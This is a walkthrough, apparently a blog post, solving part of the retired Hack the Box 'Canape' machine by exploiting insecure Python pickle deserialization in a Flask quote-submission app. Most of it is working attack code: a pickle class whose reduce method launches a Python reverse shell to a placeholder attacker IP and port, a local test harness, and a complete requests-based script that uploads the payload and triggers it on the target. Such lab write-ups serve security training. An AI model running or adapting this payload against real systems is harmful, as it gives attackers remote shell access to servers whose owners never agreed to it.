Thumbnail image

Exploiting Python Pickle

Hack the Box is a known platform containing a set of security challenges and in this instance, we will cover solving of a subsection of the retired ‘Canape’ box, consisting of a remote code execution by abusing insecure deserialization of Python Pickle.

After enumerating the host, we will come across a snippet of code which will be of interest to us. Obtaining this snippet is fairly simple and I didn’t feel like writing about it, so I won’t spoil it for you entirely! There are two parts we are interested in this walkthrough, so lets go step by step.

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None
    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
        outfile.write(char + quote)
        outfile.close()
            success = True
        except Exception as ex:
            error = True
    return render_template("submit.html", error=error, success=success)

In the snippet above we can see what occurs when we ‘submit’ a new Simpsons quote to the application. The server side code will receive two POST parameters from us, one of which will need to be a valid Simpsons character, and the other can be anything we want. The POST parameters received are the following:

  • ‘character’ - A valid Simpsons character (from now on Krusty)
  • ‘quote’ - This can be anything we want

Below is the vulnerable snippet of code we are going to abuse.

@app.route("/check", methods=["POST"])
    def check():
        path = "/tmp/" + request.form["id"] + ".p"
        data = open(path, "rb").read()
        if "p1" in data:
            item = cPickle.loads(data)
        else:
            item = data
        return "Still reviewing: " + item

Here we can observe that the application attempts to deserialize the contents of a file depending on an ‘id’ POST parameter which we submit to the application. This file name is easily guessed, as we can see how they save files in our first code snippet:

                p_id = md5(char + quote).hexdigest()

The ID we need to submit will need to be a hexadecimal representation of the md5(char + quote), all of which we know.

Thats all fine and dandy for now, but why should we care? In this ‘/check’ functionality, we see that the application uses cPickle to deserialize any data that we retrieve from the file we give it.

            item = cPickle.loads(data)

This looks interesting, as we control data that the function receives.

Lets lay out the objectives which we want to achieve knowing the above:

  1. Submit unsanitised data using the ‘quote’ POST parameter
  2. The application will load this data using cPickle.loads(data)
  3. ???
  4. Shell

Python’s pickle library helps in serializing data and storage and is vulnerable like most of the serialization libraries.

The pickle library allows arbitrary objects to declare how they should be pickled by defining a reduce method, which should return either a string or a tuple describing how to reconstruct this object on unpacking.

This returned tuple should contain a class to be called, and a tuple of arguments, as such we can craft our payload by defining the following python class (where IP and PORT are our remote listener):

class PickleRce(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen, (('/bin/sh','-c','/usr/bin/python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\''),0))

We can test that our PickleRce object is constructed correctly (and in a similar way of the challenge server) by pickling it, saving it to a file and then deserialising it. This can be done as below:

    ## Ported server side deserialization
def deserializePayload(filename):
    data = open(filename, "rb").read()
    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

payload = cPickle.dumps(PickleRce())
char = payload + char
text_file = open("output.txt", "w")
text_file.write(char + quote)
text_file.close()
deserializePayload("output.txt")

Once we have a functioning payload, we can piece all elements together:

import string
import random
import base64
import cPickle
from hashlib import md5
import requests
import sys

#Set proxies to inspect data we are sending
proxies = {
  'http': 'http://127.0.0.1:8080',
  'https': 'http://127.0.0.1:8080',
}

#Our deserialisation payload
class PickleRce(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen, (('/bin/sh','-c','/usr/bin/python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\''),0))

#Characters submitted should be in this whitelist
WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

#Submitting our payload, which will then be saved by the server to a file named 'md5(char + quote).hexdigest()'
#This function returns the name of the saved file - p_id
#POST /submit HTTP/1.1
#Host: 10.10.10.70
#character=Homer&quote=test
#
def submit():
    char = "krusty"
    if not any(c.lower() in char.lower() for c in WHITELIST):
        print 'Error'
        exit(1)
    quote = "HellaHello"
    #quote = base64.b64encode(cPickle.dumps(PickleRce()))
    payload = cPickle.dumps(PickleRce())
    char = payload + char
    p_id = md5(char + quote).hexdigest()
    text_file = open("output.txt", "w")
    text_file.write(char + quote)
    text_file.close()
    print '[+] Sending [quote] request'
    r = requests.post("http://10.10.10.70/submit",data = {'character':char,'quote':quote},proxies=proxies)    
    print 'Received response - ' , r.status_code
    print 'p_id of post - ' , p_id
    return p_id

#Make the vulnerable application deserialise our payload contained in p_id.  This will execute on the server the payload we defined in the PickleRce object
def check(p_id):
    print '[+] Sending [check] request'
    r = requests.post("http://10.10.10.70/check",data = {'id':p_id},proxies=proxies)
    print 'Received response - ' , r.status_code
    return r

p_id = submit()
check(p_id)